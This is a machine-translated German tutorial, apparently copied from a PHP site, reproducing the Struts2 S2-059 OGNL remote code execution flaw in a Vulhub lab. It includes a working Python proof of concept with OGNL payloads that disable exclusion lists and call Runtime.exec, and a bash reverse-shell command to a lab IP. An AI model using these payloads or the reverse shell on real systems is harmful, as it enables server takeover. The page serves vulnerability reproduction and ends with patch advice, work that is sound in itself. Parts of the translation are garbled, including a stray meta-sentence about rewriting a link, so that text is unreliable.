Heim > Betrieb und Instandhaltung > Sicherheit > Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?

Wie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?

王林
Freigeben: 2023-05-23 22:37:16
nach vorne
1543 Leute haben es durchsucht

0x00Introduction

Struts2 ist ein sehr leistungsfähiges Java-Web-Open-Source-Framework, das von der Apache-Softwareorganisation gestartet wurde und im Wesentlichen einem Servlet entspricht. Struts2 basiert auf der MVC-Architektur und verfügt über eine klare Framework-Struktur. Es wird normalerweise als Controller zum Einrichten der Dateninteraktion zwischen Modellen und Ansichten verwendet und zum Erstellen von Java-Webanwendungen auf Unternehmensebene verwendet. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.

0x01 Schwachstellenübersicht

Ein Angreifer kann einen böswilligen OGNL-Ausdruck erstellen und ihn so einstellen, dass er durch externe Eingaben und den Attributwert von geändert wird Das Struts2-Tag des OGNL-Ausdrucks wird ausgeführt, was dazu führt, dass der OGNL-Ausdruck analysiert wird und letztendlich die Auswirkungen der Remotecodeausführung verursacht.

0x02 Einflussbereich

Struts 2.0.0 – Struts 2.5.20

0x03 Umgebungserstellung

1 Diese Schwachstellenumgebung wird schnell mit Vulhub erstellt. Die Vulhub-Downloadadresse lautet wie folgt:

https://github.com/vulhub /vulhub#🎜 🎜#

cd vulhub-master/struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2. Verwenden Sie Docker-Compose, um schnell ein zu erstellen Schießstandumgebung

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3 Besuchen Sie nach Abschluss des Startvorgangs http://ip :8080/?id=1 im Browser Sie können die Testoberfläche sehen

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04 Schwachstellenwiederkehr#🎜🎜 # 1. Durchsuchen Wenn der Server auf http://ip:8080/?id=%25{88*88} zugreift, können Sie feststellen, dass das ausgeführte 88*88 erfolgreich analysiert wurde und der Attributwert des Das Struts2-Tag des OGNL-Ausdrucks wird ausgeführt und löst die Analyse des OGNL-Ausdrucks aus.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的2. Verwenden Sie poc, um die Shell abzuprallen. Die Nutzlast der Bounce-Shell muss Base64-codiert sein.

bash - i >& /dev/tcp/172.16.1.132/9967 0>&1

base64-codierte URL:

Der ursprüngliche Satz ist bereits ein vollständiger Satz, der einen Link bereitstellt . Wenn ich es umschreiben würde, könnte es so etwas sein: Hier ist ein Link zu einer Webseite mit Informationen zu Runtime-Exec-Payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)
Nach dem Login kopieren
3. Ändern Sie die Nutzlast im POC auf Ihre eigene Nutzlast. und dann mit Python ausführen und Sie können sehen, dass die Shell zurückgeprallt ist 0x05 Reparaturvorschlag# 🎜🎜#

1. Upgrade auf Struts 2.5.22 oder höher

2. Aktivieren Sie den ONGL-Ausdrucksinjektionsschutz. Struts2 S2-059 远程代码执行漏洞复现是怎么样的

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

Das obige ist der detaillierte Inhalt vonWie reproduziert sich die Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Struts2 S2-059?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage